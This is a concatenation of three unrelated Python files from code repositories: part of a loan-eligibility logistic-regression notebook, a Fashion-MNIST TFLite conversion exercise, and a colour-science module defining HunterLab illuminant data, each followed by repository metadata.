In[160]:\n\n\ntrain['LoanAmount'].fillna(train['LoanAmount'].median(), inplace=True)\n\n\n# Now lets check whether all the missing values are filled in the dataset.\n\n# In[162]:\n\n\ntrain.isnull().sum()\n\n\n# As we can see that all the missing values have been filled in the test dataset. Let\u2019s fill all the missing values in the test dataset too with the same approach.\n\n# In[164]:\n\n\ntest['Gender'].fillna(train['Gender'].mode()[0], inplace=True) \ntest['Dependents'].fillna(train['Dependents'].mode()[0], inplace=True) \ntest['Self_Employed'].fillna(train['Self_Employed'].mode()[0], inplace=True) \ntest['Credit_History'].fillna(train['Credit_History'].mode()[0], inplace=True) \ntest['Loan_Amount_Term'].fillna(train['Loan_Amount_Term'].mode()[0], inplace=True) \ntest['LoanAmount'].fillna(train['LoanAmount'].median(), inplace=True)\n\n\n# ### Outlier Treatment\n# \n# As we saw earlier in univariate analysis, LoanAmount contains outliers so we have to treat them as the presence of outliers affects the distribution of the data. Let's examine what can happen to a data set with outliers. For the sample data set:\n# \n# \n# 1, 1, 2, 2, 2, 2, 3, 3, 3, 4, 4\n# \n# We find the following: mean, median, mode, and standard deviation\n# \n# Mean = 2.58\n# \n# Median = 2.5\n# \n# Mode = 2\n# \n# Standard Deviation = 1.08\n# \n# If we add an outlier to the data set:\n# \n# 1, 1, 2, 2, 2, 2, 3, 3, 3, 4, 4, 400\n# \n# The new values of our statistics are:\n# \n# Mean = 35.38\n# \n# Median = 2.5\n# \n# Mode = 2\n# \n# Standard Deviation = 114.74\n# \n# It can be seen that having outliers often has a significant effect on the mean and standard deviation and hence affecting the distribution. We must take steps to remove outliers from our data sets.\n# \n# Due to these outliers bulk of the data in the loan amount is at the left and the right tail is longer. This is called right skewness. One way to remove the skewness is by doing the log transformation. As we take the log transformation, it does not affect the smaller values much, but reduces the larger values. So, we get a distribution similar to normal distribution.\n# \n# Let\u2019s visualize the effect of log transformation. We will do the similar changes to the test file simultaneously.\n\n# In[167]:\n\n\ntrain['LoanAmount_log'] = np.log(train['LoanAmount']) \ntrain['LoanAmount_log'].hist(bins=20) \ntest['LoanAmount_log'] = np.log(test['LoanAmount'])\n\n\n# Now the distribution looks much closer to normal and effect of extreme values has been significantly subsided. Let\u2019s build a logistic regression model and make predictions for the test dataset.\n# \n# The process of model building is not complete without evaluation of model\u2019s performance. Suppose we have the predictions from the model, how can we decide whether the predictions are accurate? We can plot the results and compare them with the actual values, i.e. calculate the distance between the predictions and actual values. Lesser this distance more accurate will be the predictions. Since this is a classification problem, we can evaluate our models using any one of the following evaluation metrics:\n# \n# Accuracy: Let us understand it using the confusion matrix which is a tabular representation of Actual vs Predicted values. This is how a confusion matrix looks like:\n# \n# <img src='https://lh3.googleusercontent.com/-uT9iaVy0uPI/XhMomA7OsqI/AAAAAAAAlwo/X0ikk8YWrzs48no_Wt0ScRU1rX34bldXgCK8BGAsYHg/s0/2020-01-06.png' />\n# \n# * True Positive - Targets which are actually true(Y) and we have predicted them true(Y)\n# * True Negative - Targets which are actually false(N) and we have predicted them false(N)\n# * False Positive - Targets which are actually false(N) but we have predicted them true(T)\n# * False Negative - Targets which are actually true(T) but we have predicted them false(N)\n# \n# Using these values, we can calculate the accuracy of the model. The accuracy is given by:\n\n# <img src=\"https://lh3.googleusercontent.com/-FySFkWnPvO0/XhMsAN-hepI/AAAAAAAAlw0/eYNkU-Wxj78RvlqbGU3jmXP320b20L35wCK8BGAsYHg/s0/2020-01-06.png\"/>\n\n# **Precision:** It is a measure of correctness achieved in true prediction i.e. of observations labeled as true, how many are actually labeled true.\n# Precision = TP / (TP + FP)\n# \n# **Recall(Sensitivity)** - It is a measure of actual observations which are predicted correctly i.e. how many observations of true class are labeled correctly. It is also known as \u2018Sensitivity\u2019.\n# Recall = TP / (TP + FN)\n# \n# **Specificity** - It is a measure of how many observations of false class are labeled correctly.\n# Specificity = TN / (TN + FP)\n# \n# Specificity and Sensitivity plays a crucial role in deriving ROC curve.\n# \n# **ROC curve**\n# Receiver Operating Characteristic(ROC) summarizes the model\u2019s performance by evaluating the trade offs between true positive rate (sensitivity) and false positive rate(1- specificity).\n# The area under curve (AUC), referred to as index of accuracy(A) or concordance index, is a perfect performance metric for ROC curve. Higher the area under curve, better the prediction power of the model.\n# This is how a ROC curve looks like:\n# \n# <img src = \"https://lh3.googleusercontent.com/-gMM5YSC_b5Y/XhMtBPogmyI/AAAAAAAAlw8/2ZEaJ0gxAsMNY_9QHdemzSdy08yA4ax-wCK8BGAsYHg/s0/2020-01-06.png\"/>\n# \n# *  The area of this curve measures the ability of the model to correctly classify true positives and true negatives. We want our model to predict the true classes as true and false classes as false.\n# * So it can be said that we want the true positive rate to be 1. But we are not concerned with the true positive rate only but the false positive rate too. For example in our problem, we are not only concerned about predicting the Y classes as Y but we also want N classes to be predicted as N.\n# * We want to increase the area of the curve which will be maximum for class 2,3,4 and 5 in the above example.\n# * For class 1 when the false positive rate is 0.2, the true positive rate is around 0.6. But for class 2 the true positive rate is 1 at the same false positive rate. So, the AUC for class 2 will be much more as compared to the AUC for class 1. So, the model for class 2 will be better.\n# * The class 2,3,4 and 5 model will predict more accurately as compared to the class 0 and 1 model as the AUC is more for those classes.\n# At the competition\u2019s page, it has been mentioned that our submission data would be evaluated based on the accuracy. Hence, we will use accuracy as our evaluation metric.\n# \n# \n# <h3 align=center >Model Evaluation Metrics for Machine Learning </h3>\n\n# 1. Confusion Matrix\n# 2. F1 Score\n# 3. Gain and Lift Charts\n# 4. Kolmogorov Smirnov Chart\n# 5. AUC \u2013 ROC\n# 6. Log Loss\n# 7. Gini Coefficient\n# 8. Concordant \u2013 Discordant Ratio\n# 9. Root Mean Squared Error\n\n# #### Model Building\n\n# Let us make our first model to predict the target variable. We will start with Logistic Regression which is used for predicting binary outcome.\n# \n# * Logistic Regression is a classification algorithm. It is used to predict a binary outcome (1 / 0, Yes / No, True / False) given a set of independent variables.\n# * Logistic regression is an estimation of Logit function. Logit function is simply a log of odds in favor of the event.\n# * This function creates a s-shaped curve with the probability estimate, which is very similar to the required step wise function\n# \n# Lets drop the Loan_ID variable as it do not have any effect on the loan status. We will do the same changes to the test dataset which we did for the training dataset.\n# \n\n# In[ ]:\n\n\ntrain=train.drop('Loan_ID',axis=1) \ntest=test.drop('Loan_ID',axis=1)\n\n\n# We will use scikit-learn (sklearn) for making different models which is an open source library for Python. It is one of the most efficient tool which contains many inbuilt functions that can be used for modeling in Python.\n\n# Sklearn requires the target variable in a separate dataset. So, we will drop our target variable from the train dataset and save it in another dataset.\n\n# In[172]:\n\n\nX = train.drop('Loan_Status',1) \ny = train.Loan_Status\n\n\n# Now we will make dummy variables for the categorical variables. Dummy variable turns categorical variables into a series of 0 and 1, making them lot easier to quantify and compare. Let us understand the process of dummies first:\n# \n# * Consider the \u201cGender\u201d variable. It has two classes, Male and Female.\n# * As logistic regression takes only the numerical values as input, we have to change male and female into numerical value.\n# * Once we apply dummies to this variable, it will convert the \u201cGender\u201d variable into two variables(Gender_Male and Gender_Female), one for each class, i.e. Male and Female.\n# * Gender_Male will have a value of 0 if the gender is Female and a value of 1 if the gender is Male.\n\n# In[174]:\n\n\nX=pd.get_dummies(X) \ntrain=pd.get_dummies(train) \ntest=pd.get_dummies(test)\n\n\n# Now we will train the model on training dataset and make predictions for the test dataset. But can we validate these predictions? One way of doing this is we can divide our train dataset into two parts: train and validation. We can train the model on this train part and using that make predictions for the validation part. In this way we can validate our predictions as we have the true predictions for the validation part (which we do not have for the test dataset).\n# \n# We will use the train_test_split function from sklearn to divide our train dataset. So, first let us import train_test_split.\n\n# In[176]:\n\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_cv, y_train, y_cv = train_test_split(X,y, test_size =0.3)\n\n\n# The dataset has been divided into training and validation part. Let us import LogisticRegression and accuracy_score from sklearn and fit the logistic regression model.\n\n# In[178]:\n\n\nfrom sklearn.linear_model import LogisticRegression \nfrom sklearn.metrics import accuracy_score\nmodel = LogisticRegression() \nmodel.fit(x_train, y_train)\nLogisticRegression(C=1.0, class_weight=None, dual=False, \n                   fit_intercept=True,          \n                   intercept_scaling=1, \n                   max_iter=100,\n                   multi_class='ovr', \n                   n_jobs=1,          \n                   penalty='l2', \n                   random_state=1, \n                   solver='liblinear', \n                   tol=0.0001,          \n                   verbose=0, \n                   warm_start=False)\n\n\n# Here the C parameter represents inverse of regularization strength. Regularization is applying a penalty to increasing the magnitude of parameter values in order to reduce overfitting. Smaller values of C specify stronger regularization\n\n# Let\u2019s predict the Loan_Status for validation set and calculate its accuracy.\n\n# In[179]:\n\n\npred_cv = model.predict(x_cv)\n\n\n# In[181]:\n\n\naccuracy_score(y_cv,pred_cv)\n\n\n# So our predictions are almost 80% accurate, i.e. we have identified 80% of the loan status correctly.\n# \n\n# In[184]:\n\n\n# Let\u2019s make predictions for the test dataset.\n\npred_test = model.predict(test)\n\n\n# \n# Lets import the submission file which we have to submit on the solution checker.\n\n# In[187]:\n\n\nsubmission=pd.read_csv(\"Data/sample_submission_49d68Cx.csv\")\n\n\n# We only need the Loan_ID and the corresponding Loan_Status for the final submission. we will fill these columns with the Loan_ID of test dataset and the predictions that we made, i.e., pred_test respectively.\n\n# In[188]:\n\n\nsubmission['Loan_Status']=pred_test \nsubmission['Loan_ID']=test_original['Loan_ID']\n\n\n# Remember we need predictions in Y and N. So let\u2019s convert 1 and 0 to Y and N.\n\n# In[190]:\n\n\nsubmission['Loan_Status'].replace(0, 'N',inplace=True) \nsubmission['Loan_Status'].replace(1, 'Y',inplace=True)\n\n\n# In[191]:\n\n\ndf = pd.DataFrame(submission, columns=['Loan_ID','Loan_Status']).to_csv('Data/logistic.csv')\ndf\n\n\n# In[192]:\n\n\ndf\n\n", "meta": {"hexsha": "6e8377bf477b338981864a2e82a7257eb1dd6af1", "size": 32395, "ext": "py", "lang": "Python", "max_stars_repo_path": "Loan_Predication_Problem.py", "max_stars_repo_name": "reddyprasade/Automate-the-loan-eligibility-process-real-time-based-on-customer", "max_stars_repo_head_hexsha": "26a5b4d8c73c8fd3d299d21cb3565772bee8928e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-12T02:11:27.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-12T02:11:27.000Z", "max_issues_repo_path": "Loan_Predication_Problem.py", "max_issues_repo_name": "reddyprasade/Automate-the-loan-eligibility-process-real-time-based-on-customer", "max_issues_repo_head_hexsha": "26a5b4d8c73c8fd3d299d21cb3565772bee8928e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Loan_Predication_Problem.py", "max_forks_repo_name": "reddyprasade/Automate-the-loan-eligibility-process-real-time-based-on-customer", "max_forks_repo_head_hexsha": "26a5b4d8c73c8fd3d299d21cb3565772bee8928e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.9362980769, "max_line_length": 508, "alphanum_fraction": 0.7477388486, "include": true, "reason": "import numpy", "num_tokens": 7870, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.05317010894094831}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"tflite_c03_exercise_convert_model_to_tflite.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1EuauRPZHxAsojcDIz-vsHO9kalFj6WkV\n\n##### Copyright 2018 Shivansh Gour. Based on a work by The TensorFlow Authors.\n\"\"\"\n\n#@title Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"# Train Your Own Model and Convert It to TFLite\n\nThis notebook uses the [Fashion MNIST](https://github.com/zalandoresearch/fashion-mnist) dataset which contains 70,000 grayscale images in 10 categories. The images show individual articles of clothing at low resolution (28 by 28 pixels), as seen here:\n\n<table>\n  <tr><td>\n    <img src=\"https://tensorflow.org/images/fashion-mnist-sprite.png\"\n         alt=\"Fashion MNIST sprite\"  width=\"600\">\n  </td></tr>\n  <tr><td align=\"center\">\n    <b>Figure 1.</b> <a href=\"https://github.com/zalandoresearch/fashion-mnist\">Fashion-MNIST samples</a> (by Zalando, MIT License).<br/>&nbsp;\n  </td></tr>\n</table>\n\nFashion MNIST is intended as a drop-in replacement for the classic [MNIST](http://yann.lecun.com/exdb/mnist/) dataset\u2014often used as the \"Hello, World\" of machine learning programs for computer vision. The MNIST dataset contains images of handwritten digits (0, 1, 2, etc.) in a format identical to that of the articles of clothing we'll use here.\n\nThis uses Fashion MNIST for variety, and because it's a slightly more challenging problem than regular MNIST. Both datasets are relatively small and are used to verify that an algorithm works as expected. They're good starting points to test and debug code.\n\nWe will use 60,000 images to train the network and 10,000 images to evaluate how accurately the network learned to classify images. You can access the Fashion MNIST directly from TensorFlow. Import and load the Fashion MNIST data directly from TensorFlow:\n\n# Setup\n\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\ntry:\n#   %tensorflow_version 2.x\nexcept:\n  pass\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\nimport tensorflow_datasets as tfds\ntfds.disable_progress_bar()\n\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pathlib\n\nprint(tf.__version__)\n\n\"\"\"# Download Fashion MNIST Dataset\"\"\"\n\nsplits = tfds.Split.ALL.subsplit(weighted=(80, 10, 10))\n\nsplits, info = tfds.load('fashion_mnist', with_info=True, as_supervised=True, split=splits)\n\n(train_examples, validation_examples, test_examples) = splits\n\nnum_examples = info.splits['train'].num_examples\nnum_classes = info.features['label'].num_classes\n\nclass_names = ['T-shirt_top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n               'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n\nwith open('labels.txt', 'w') as f:\n  f.write('\\n'.join(class_names))\n\nIMG_SIZE = 28,28\n\n\"\"\"# Preprocessing data\n\n## Preprocess\n\"\"\"\n\n# Write a function to normalize and resize the images\n\ndef format_example(image, label):\n  # Cast image to float32\n  image = tf.image.resize(image, IMG_SIZE) / 225.0\n  return image, label\n\nBATCH_SIZE = 32\n\n\"\"\"## Create a Dataset from images and labels\"\"\"\n\n# Prepare the examples by preprocessing the them and then batching them (and optionally prefetching them)\n\n# If you wish you can shuffle train set here\ntrain_batches = train_examples.shuffle(num_examples // 4).map(format_example).batch(BATCH_SIZE).prefetch(1)\nvalidation_batches = validation_examples.map(format_example).batch(BATCH_SIZE).prefetch(1)\ntest_batches = test_examples.map(format_example).batch(1)\n\n\"\"\"# Building the model\n\nModel: \"sequential\"\n_________________________________________________________________\nLayer (type)                 Output Shape              Param #   \n=================================================================\nconv2d (Conv2D)              (None, 26, 26, 16)        160       \n_________________________________________________________________\nmax_pooling2d (MaxPooling2D) (None, 13, 13, 16)        0         \n_________________________________________________________________\nconv2d_1 (Conv2D)            (None, 11, 11, 32)        4640      \n_________________________________________________________________\nflatten (Flatten)            (None, 3872)              0         \n_________________________________________________________________\ndense (Dense)                (None, 64)                247872    \n_________________________________________________________________\ndense_1 (Dense)              (None, 10)                650       \n=================================================================\nTotal params: 253,322\nTrainable params: 253,322\nNon-trainable params: 0\n\"\"\"\n\n# Build the model shown in the previous cell\n\n\nmodel = tf.keras.Sequential([\n  # Set the input shape to (28, 28, 1), kernel size=3, filters=16 and use ReLU activation,  \n  tf.keras.layers.Conv2D(kernel_size=3, filters=16, activation='relu', input_shape=(28,28,1)),\n  # model.add(Conv2D (kernel_size = (20,30), filters = 400, activation='relu'))    \n  tf.keras.layers.MaxPooling2D(),\n  # Set the number of filters to 32, kernel size to 3 and use ReLU activation \n  tf.keras.layers.Conv2D(kernel_size=3, filters=32, activation='relu'),\n  # Flatten the output layer to 1 dimension\n  tf.keras.layers.Flatten(),\n  # Add a fully connected layer with 64 hidden units and ReLU activation\n  tf.keras.layers.Dense(units=64, activation='relu'),\n  # Attach a final softmax classification head\n  tf.keras.layers.Dense(units=64, activation='softmax')\n  # model.add(Dense(64,activation='softmax'))\n])\n\n# Set the loss and accuracy metrics\nmodel.compile(\n     optimizer='adam', \n     loss='sparse_categorical_crossentropy', \n     metrics=['accuracy']\n)\n\n\"\"\"## Train\"\"\"\n\nmodel.fit(train_batches, \n          epochs=10,\n          validation_data=validation_batches)\n\n\"\"\"# Exporting to TFLite\"\"\"\n\nexport_dir = 'saved_model/1'\n\n# Use the tf.saved_model API to export the SavedModel\ntf.saved_model.save(model, export_dir)\n# Your Code Here\n# saved_model_cli show --dir $1 --tag_set serve --signature_def serving_default\n# loaded = tf.saved_model.load(export_dir)\n# print(list(loaded.signatures.keys()))\n# infer = loaded.signatures[\"serving_default\"]\n# print(infer.structured_input_signature)\n# print(infer.structured_outputs)\n\n#@title Select mode of optimization\nmode = \"Speed\" #@param [\"Default\", \"Storage\", \"Speed\"]\n\nif mode == 'Storage':\n  optimization = tf.lite.Optimize.OPTIMIZE_FOR_SIZE\nelif mode == 'Speed':\n  optimization = tf.lite.Optimize.OPTIMIZE_FOR_LATENCY\nelse:\n  optimization = tf.lite.Optimize.DEFAULT\n\noptimization\n\n# Use the TFLiteConverter SavedModel API to initialize the converter\nconverter = tf.lite.TFLiteConverter.from_saved_model(export_dir)\n# converter = tf.lite.TFLiteConverter.from_saved_model(CATS_VS_DOGS_SAVED_MODEL)\n# Set the optimzations\nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n# converter.optimizations = [tf.lite.Optimize.DEFAULT]\n# Invoke the converter to finally generate the TFLite model\ntflite_model = converter.convert()\n# tflite_model = converter.convert()\n\ntflite_model_file = 'model.tflite'\n\nwith open(tflite_model_file, \"wb\") as f:\n  f.write(tflite_model)\n\n\"\"\"# Test if your model is working\"\"\"\n\n# Load TFLite model and allocate tensors.\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninput_index = interpreter.get_input_details()[0][\"index\"]\noutput_index = interpreter.get_output_details()[0][\"index\"]\n\n# Gather results for the randomly sampled test images\npredictions = []\ntest_labels = []\ntest_images = []\n\nfor img, label in test_batches.take(50):\n  interpreter.set_tensor(input_index, img)\n  interpreter.invoke()\n  predictions.append(interpreter.get_tensor(output_index))\n  test_labels.append(label[0])\n  test_images.append(np.array(img))\n\n#@title Utility functions for plotting\n# Utilities for plotting\n\ndef plot_image(i, predictions_array, true_label, img):\n  predictions_array, true_label, img = predictions_array[i], true_label[i], img[i]\n  plt.grid(False)\n  plt.xticks([])\n  plt.yticks([])\n  \n  img = np.squeeze(img)\n\n  plt.imshow(img, cmap=plt.cm.binary)\n\n  predicted_label = np.argmax(predictions_array)\n  if predicted_label == true_label.numpy():\n    color = 'green'\n  else:\n    color = 'red'\n    \n  plt.xlabel(\"{} {:2.0f}% ({})\".format(class_names[predicted_label],\n                                100*np.max(predictions_array),\n                                class_names[true_label]),\n                                color=color)\n\ndef plot_value_array(i, predictions_array, true_label):\n  predictions_array, true_label = predictions_array[i], true_label[i]\n  plt.grid(False)\n  plt.xticks(list(range(10)), class_names, rotation='vertical')\n  plt.yticks([])\n  thisplot = plt.bar(range(10), predictions_array[0], color=\"#777777\")\n  plt.ylim([0, 1])\n  predicted_label = np.argmax(predictions_array[0])\n\n  thisplot[predicted_label].set_color('red')\n  thisplot[true_label].set_color('green')\n\n#@title Visualize the outputs { run: \"auto\" }\nindex = 1 #@param {type:\"slider\", min:1, max:10, step:1}\nplt.figure(figsize=(6,3))\nplt.subplot(1,2,1)\nplot_image(index, predictions, test_labels, test_images)\nplt.show()\n#plot_value_array(index, predictions, test_labels)\n#plt.show()\n\n\"\"\"# Download TFLite model and assets\n\n**NOTE: You might have to run to the cell below twice**\n\"\"\"\n\ntry:\n  from google.colab import files\n  files.download(tflite_model_file)\n  files.download('labels.txt')\nexcept:\n  pass\n\n\"\"\"# Deploying TFLite model\n\nNow once you've the trained TFLite model downloaded, you can ahead and deploy this on an Android/iOS application by placing the model assets in the appropriate location.\n\n# Prepare the test images for download (Optional)\n\"\"\"\n\n!mkdir -p test_images\n\nfrom PIL import Image\n\nfor index, (image, label) in enumerate(test_batches.take(50)):\n  image = tf.cast(image * 255.0, tf.uint8)\n  image = tf.squeeze(image).numpy()\n  pil_image = Image.fromarray(image)\n  pil_image.save('test_images/{}_{}.jpg'.format(class_names[label[0]].lower(), index))\n\n!ls test_images\n\n!zip -qq fmnist_test_images.zip -r test_images/\n\ntry:\n  files.download('fmnist_test_images.zip')\nexcept:\n  pass", "meta": {"hexsha": "008633f8b2691bf262f07c865cce60673a4c506f", "size": 10713, "ext": "py", "lang": "Python", "max_stars_repo_path": "tflite-personal/tflite_c03_exercise_convert_model_to_tflite.py", "max_stars_repo_name": "Imperial-Industries/intro-to-tsflow-lite", "max_stars_repo_head_hexsha": "87462909b85763a117620e0aafcdf8dfd6de2538", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tflite-personal/tflite_c03_exercise_convert_model_to_tflite.py", "max_issues_repo_name": "Imperial-Industries/intro-to-tsflow-lite", "max_issues_repo_head_hexsha": "87462909b85763a117620e0aafcdf8dfd6de2538", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2021-06-08T20:38:07.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:06:57.000Z", "max_forks_repo_path": "tflite-personal/tflite_c03_exercise_convert_model_to_tflite.py", "max_forks_repo_name": "Imperial-Industries/intro-to-tsflow-lite", "max_forks_repo_head_hexsha": "87462909b85763a117620e0aafcdf8dfd6de2538", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.6699029126, "max_line_length": 346, "alphanum_fraction": 0.7252870344, "include": true, "reason": "import numpy", "num_tokens": 2562, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11436852769112676, "lm_q1q2_score": 0.05317010823926572}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nHunterLab Dataset\n=================\n\nDefines the *HunterLab* illuminants dataset for the\n*CIE 1931 2 Degree Standard Observer* and\n*CIE 1964 10 Degree Standard Observer*.\n\nThe currently implemented data has been extracted from :cite:`HunterLab2008b`,\nhowever you may want to use different data according to the tables given in\n:cite:`HunterLab2008c`.\n\nSee Also\n--------\n`Illuminants Jupyter Notebook\n<http://nbviewer.jupyter.org/github/colour-science/colour-notebooks/\\\nblob/master/notebooks/colorimetry/illuminants.ipynb>`_\n\nReferences\n----------\n-   :cite:`HunterLab2008b` : HunterLab. (2008). Hunter L,a,b Color Scale.\n    Retrieved from http://www.hunterlab.se/wp-content/uploads/2012/11/\\\nHunter-L-a-b.pdf\n-   :cite:`HunterLab2008c` : HunterLab. (2008). Illuminant Factors in Universal\n    Software and EasyMatch Coatings. Retrieved from\n    https://support.hunterlab.com/hc/en-us/article_attachments/201437785/\\\nan02_02.pdf\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\nfrom collections import namedtuple\n\nfrom colour.utilities import CaseInsensitiveMapping\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2019 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-science@googlegroups.com'\n__status__ = 'Production'\n\n__all__ = [\n    'HunterLab_Illuminant_Specification',\n    'HUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER_DATA',\n    'HUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER',\n    'HUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER_DATA',\n    'HUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER',\n    'HUNTERLAB_ILLUMINANTS'\n]\n\nHunterLab_Illuminant_Specification = namedtuple(\n    'HunterLab_Illuminant_Specification', ('name', 'XYZ_n', 'K_ab'))\n\n# yapf: disable\nHUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER_DATA = (\n    ('A', np.array([109.83, 100.00, 35.55]), np.array([185.20, 38.40])),\n    ('C', np.array([98.04, 100.00, 118.11]), np.array([175.00, 70.00])),\n    ('D50', np.array([96.38, 100.00, 82.45]), np.array([173.51, 58.48])),\n    ('D60', np.array([95.23, 100.00, 100.86]), np.array([172.47, 64.72])),\n    ('D65', np.array([95.02, 100.00, 108.82]), np.array([172.30, 67.20])),\n    ('D75', np.array([94.96, 100.00, 122.53]), np.array([172.22, 71.30])),\n    ('FL2', np.array([98.09, 100.00, 67.53]), np.array([175.00, 52.90])),\n    ('TL 4', np.array([101.40, 100.00, 65.90]), np.array([178.00, 52.30])),\n    ('UL 3000', np.array([107.99, 100.00, 33.91]), np.array([183.70, 37.50])))\n# yapf: enable\n\nHUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER = (\n    CaseInsensitiveMapping({\n        x[0]: HunterLab_Illuminant_Specification(*x)\n        for x in HUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER_DATA\n    }))\n\"\"\"\n*Hunter L,a,b* illuminant dataset for *CIE 1931 2 Degree Standard Observer*.\n\nReferences\n----------\n:cite:`HunterLab2008b`, :cite:`HunterLab2008c`\n\nHUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER :\n    CaseInsensitiveMapping\n\"\"\"\n\n# yapf: disable\nHUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER_DATA = (\n    ('A', np.array([111.16, 100.00, 35.19]), np.array([186.30, 38.20])),\n    ('C', np.array([97.30, 100.00, 116.14]), np.array([174.30, 69.40])),\n    ('D50', np.array([96.72, 100.00, 81.45]), np.array([173.82, 58.13])),\n    ('D60', np.array([95.21, 100.00, 99.60]), np.array([172.45, 64.28])),\n    ('D65', np.array([94.83, 100.00, 107.38]), np.array([172.10, 66.70])),\n    ('D75', np.array([94.45, 100.00, 120.70]), np.array([171.76, 70.76])),\n    ('FL2', np.array([102.13, 100.00, 69.37]), np.array([178.60, 53.60])),\n    ('TL 4', np.array([103.82, 100.00, 66.90]), np.array([180.10, 52.70])),\n    ('UL 3000', np.array([111.12, 100.00, 35.21]), np.array([186.30, 38.20])))\n# yapf: enable\n\nHUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER = (\n    CaseInsensitiveMapping({\n        x[0]: HunterLab_Illuminant_Specification(*x)\n        for x in\n        HUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER_DATA\n    }))\n\"\"\"\n*Hunter L,a,b* illuminant dataset for *CIE 1964 10 Degree Standard Observer*.\n\nReferences\n----------\n:cite:`HunterLab2008b`, :cite:`HunterLab2008c`\n\nHUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER :\n    CaseInsensitiveMapping\n\"\"\"\n\nHUNTERLAB_ILLUMINANTS = CaseInsensitiveMapping({\n    'CIE 1931 2 Degree Standard Observer':\n        HUNTERLAB_ILLUMINANTS_CIE_1931_2_DEGREE_STANDARD_OBSERVER,\n    'CIE 1964 10 Degree Standard Observer':\n        HUNTERLAB_ILLUMINANTS_CIE_1964_10_DEGREE_STANDARD_OBSERVER\n})\nHUNTERLAB_ILLUMINANTS.__doc__ = \"\"\"\nAggregated *Hunter L,a,b* illuminant dataset.\n\nReferences\n----------\n:cite:`HunterLab2008b`, :cite:`HunterLab2008c`\n\nHUNTERLAB_ILLUMINANTS : CaseInsensitiveMapping\n    **{'CIE 1931 2 Degree Standard Observer',\n    'CIE 1964 10 Degree Standard Observer'}**\n\nAliases:\n\n-   'cie_2_1931': 'CIE 1931 2 Degree Standard Observer'\n-   'cie_10_1964': 'CIE 1964 10 Degree Standard Observer'\n\"\"\"\nHUNTERLAB_ILLUMINANTS['cie_2_1931'] = (\n    HUNTERLAB_ILLUMINANTS['CIE 1931 2 Degree Standard Observer'])\nHUNTERLAB_ILLUMINANTS['cie_10_1964'] = (\n    HUNTERLAB_ILLUMINANTS['CIE 1964 10 Degree Standard Observer'])\n", "meta": {"hexsha": "1caea1ec4651e05a1714d28deac5f2ed6dea77e3", "size": 5301, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/colorimetry/dataset/illuminants/hunterlab.py", "max_stars_repo_name": "sobotka/colour", "max_stars_repo_head_hexsha": "aa3fe95fba83ffc0f3ce1eb6aca85e6d8f3bde51", "max_stars_repo_licenses": ["Cube", "BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-05-03T20:15:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-09T18:19:06.000Z", "max_issues_repo_path": 